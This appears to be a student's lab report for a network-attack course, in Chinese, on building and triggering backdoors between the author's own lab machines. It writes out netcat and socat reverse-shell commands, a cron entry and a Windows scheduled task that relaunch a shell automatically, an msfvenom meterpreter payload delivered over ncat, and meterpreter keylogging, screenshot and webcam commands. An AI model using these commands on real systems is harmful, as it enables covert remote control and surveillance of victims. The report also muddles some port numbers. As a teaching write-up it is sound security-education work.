20145302張薇 《網路對抗技術》後門原理與實踐
實驗內容概述
- 瞭解後門的基本原理,學習使用netcat、socat、meterpreter等工具,從而獲取主機的操作許可權等資訊。
實驗相關原理
- 後門程式簡稱後門一般是指那些繞過安全性控制,通過非正常許可權而獲取對程式或系統訪問權的程式。
- 一般的作業系統管理者都會留有後門以便在關鍵時刻掌握使用者的動態。
- 常用的後門工具有:
netcat
、Meterpreter
netcat
是一個簡單的底層工具,可以使用該工具連線兩個或多個主機進行資料的傳送與接收,類似於一個聊天工具,不過這些主機需要處在同一網段才可進行連線。通常攻擊者會把nc與其他工具相結合,形成後門。Meterpreter
是一個可以通過調整不同需求,自動生成後門程式的平臺。類似的平臺還有intersect
、Veil-evasion
。- linux作業系統與Mac系統均自帶nc,可在終端下使用
man nc
命令檢視netcat的使用說明。 - windows作業系統並不自帶nc,需要使用該工具可以在網上從正規渠道下載netcat.exe等相關檔案。
- cron
- cron是一個linux下的定時執行工具,可以在無需人工干預的情況下執行作業。
- Cron是Linux的內建服務,並不自動啟動,可以使用各種命令啟動或關閉這個服務;
- 啟動服務:/sbin/service crond start
- 關閉服務:/sbin/service crond stop
- 重啟服務:/sbin/service crond restart
- 重新載入配置:/sbin/service crond reload
- crontab -u //設定使用者的cron服務,一般root使用者在執行這個命令的時候需要此引數
- crontab -l //列出使用者cron服務的詳細內容
- crontab -r //刪除使用者的cron服務
- crontab -e //編輯使用者的cron服務
實踐步驟
1.使用netcat獲取主機操作Shell
(1)windows獲取linux的shell
實驗環境準備。由於windows系統並不自帶netcat,所以我們需要下載好該程式。
windows在cmd下使用ipconfig命令檢視win的IP地址為10.43.33.60
linux在終端下使用ifconfig命令檢視linux的IP地址為10.43.33.116
windows使用
c:\你的nc的目錄路徑>ncat.exe -l -p 5302
命令於5302埠進行監聽。在此,我直接進入到nc的目錄下執行的程式。
在使用nc的命令時,防火牆會詢問主機是否可以訪問,直接允許即可。
linux使用
nc win的IP 5302 -e /bin/sh
命令通過5302埠反彈連線windows主機
隨後,我們在windows主機下就獲得了linux的shell,可以執行linux下的指令並獲取linux主機的資訊,如ls指令:
值得注意的是,我們這裡獲得的是shell許可權,並不是會話連線,傳送訊息只能讓linux主機發現有人非法獲取了自己的許可權:
windows主機傳送nihao
linux無法找到執行該命令
(2)linux獲取windows的shell
- 由於我換了一個wifi……所以windows與linux的IP地址都變了。
- windows在cmd下使用ipconfig命令檢視win的IP地址為172.30.2.75
- linux在終端下使用ifconfig命令檢視linux的IP地址為172.30.5.173
linux主機使用
nc -l -p 5302
命令於5302埠進行監聽
- windows主機使用
c:\你的nc檔案目錄路徑>ncat.exe -e cmd.exe linux的IP 5302
命令通過5302埠反彈連線linux主機 隨後,我們在linux主機下可以看到windows的命令提示:
(3)cron啟動
- 由於我又換了一個wifi連……所以……
- win的IP:172.20.10.2
- Linux的IP:172.20.10.4
在linux終端下使用
crontab -e
命令修改使用者的cron配置,出現下圖:
- 我們根據m h dom mon dow user command的格式來修改cron的啟動時間
- m代表分鐘,可填數字範圍:0-59
- h代表小時,可填數字範圍:0-23
- dom代表日期,可填數字範圍:1-31
- mon代表月份,可填數字範圍:1-12
- dow代表星期,可填數字範圍:0-6
- user是連線的使用者的IP地址
與vi的用法一樣,使用
i
鍵修改檔案為* * * * * /bin/netcat 172.20.10.2 5302 -e /bin/sh
,意在使linux每分鐘自動執行指令,反彈至pc端的5302埠.退出插入模式後儲存退出即可。
隨後,我們可以使用
crontab -l
檢視cron修改後的內容:
我們在windows主機下的5302埠進行監聽,每分鐘我們就可以獲取一個shell
2.使用socat獲取主機操作Shell, 任務計劃啟動
(1)以linux利用socat獲取windows的shell為例
- 在Linux的終端上使用
socat - tcp:win的IP:5302
命令監聽5302埠 win在命令列下使用
socat tcp-listen:5302 exec:cmd,pty,stderr
命令在5302埠反彈連線Linux
隨即,Linux獲得了win的shell
(2)任務計劃啟動
- 進入我的電腦-計算機-管理-任務計劃程式-建立任務
- 根據自己的需求建立該任務計劃
- 很不幸,我試著改了各種引數以及命名方式等資訊,但是依舊出現如下錯誤
對此,我上網尋求解決的方法,只能找到如下內容:
根本看不懂啊兄弟……很難受
- 正常來說,Linux主機在5302埠監聽,並且win觸發了原定的程式,Linux應該可以獲取win的shell,然而我這個任務怎樣都建不成功……
- 終於!嘻嘻,俺進入到任務計劃程式庫中,找到我所建立的任務,點選執行,在嘗試了幾輪操作之後成功了,媽喲,但是我並不知道上面的問題是如何解決的,也許是因為之前任務其實並未真正的執行起來導致一直失敗。(是的,我又換了wifi,此時Linux的IP為192.168.199.109)
- 我將任務的觸發器設定為在任何使用者登入時觸發,將操作的啟動程式設為ncat.exe,引數為:
-e cmd.exe 192.168.199.109 5302
隨後Linux在5302埠監聽,執行任務時即可使它獲得Win的shell
同理,如果你將操作的啟動程式設為socat.exe時,你的引數應為
tcp-listen:5302 exec:cmd,pty,stderr
,Linux的監聽指令也需要改變。
3.使用MSF meterpreter生成可執行檔案,利用ncat傳送檔案到主機並執行獲取主機Shell
- 此時win的IP:172.20.10.2
- Linux的IP:172.20.10.4
在Linux下使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊者IP LPORT=35302 -f exe >fool3.exe
命令生成一個名為fool3.exe的後門程式
- 使用netcat將這個後門程式傳送到Win主機
- 首先我們在win的命令列下使用
ncat.exe -lv 35302 > fool3.exe
命令在250號埠進行監聽 - 隨後在Linux下使用
ncat -nv 172.20.10.2 35302 < fool3.exe
命令把檔案傳送過去 - 當然,win主機上的防毒軟體會將其刪除,我們找回檔案即可。
- 首先我們在win的命令列下使用
- 開啟MSF監聽程式
- msfconsole //進入msf
- use exploit/multi/handler //進入handler模式
- set payload windows/meterpreter/reverse_tcp //設定payload
- show options //檢視當前資訊狀態
- set LHOST 172.20.10.4 //將LHOST設定為生成後門的那個LinuxIP地址
- set LPORT 250 //設埠為那個35302
- exploit //MSF開始監聽
在msf開啟監聽之後,在win下執行我們剛剛的後門程式fool3.exe,Linux就可以獲得win的shell,進行遠端控制了。
4.meterpreter資訊提取與提權
sysinfo
檢視系統版本資訊
screenshot
直接對靶機螢幕截圖
鍵盤記錄內容:
keyscan_start
命令開始捕捉鍵盤記錄;keyscan_dump
命令停止鍵盤記錄的捕捉並顯示出來鍵盤的記錄
在靶機安裝一些系統服務
開啟靶機的攝像頭
getsystem
為提權命令,可以獲取私人許可權,不過我這裡win8不行啊
基礎問題思考與回答
例舉你能想到的一個後門進入到你係統中的可能方式?
- 作業系統自身留有後門,方便自己的許可權;
- 攻擊者惡意修改你的核心程式碼程式從而獲取非法許可權;
- 我們訪問反彈連線的網站,導致自己被他人非法獲得許可權。
例舉你知道的後門如何啟動起來(win及linux)的方式?
- 反彈連線,被控機主動連線了主控機之後便會觸發後門程式;
- 在Linux中通過設定Corn,主機可以自動的觸發連線請求;
- 在windows中通過設定任務計劃來達到該目的。
Meterpreter有哪些給你映像深刻的功能?
- 獲取鍵盤輸入記錄;
- 控制攝像頭;
- 這兩點都對於使用者的隱私有著致命的威脅。
如何發現自己有系統有沒有被安裝後門?
- 對於一般人來說,對於登錄檔資訊很陌生,所以不容易在登錄檔中分析是否有惡意軟體;
- 當我們的主機出現一些莫名其妙的軟體時,有可能是被植入了後門。
實驗總結與感想
- 虛擬網路是不安全的,惡意軟體的非法許可權大到令人毛骨悚然;
- 首先,我們要注意保護好自己的隱私;
- 其次,我們不要輕易的點選進入一些不明確的網路連結,減少我們被植入木馬、後門的危險;
- 另外,我們一定要積極的升級維護系統,即時打補丁,減少被侵入的機率。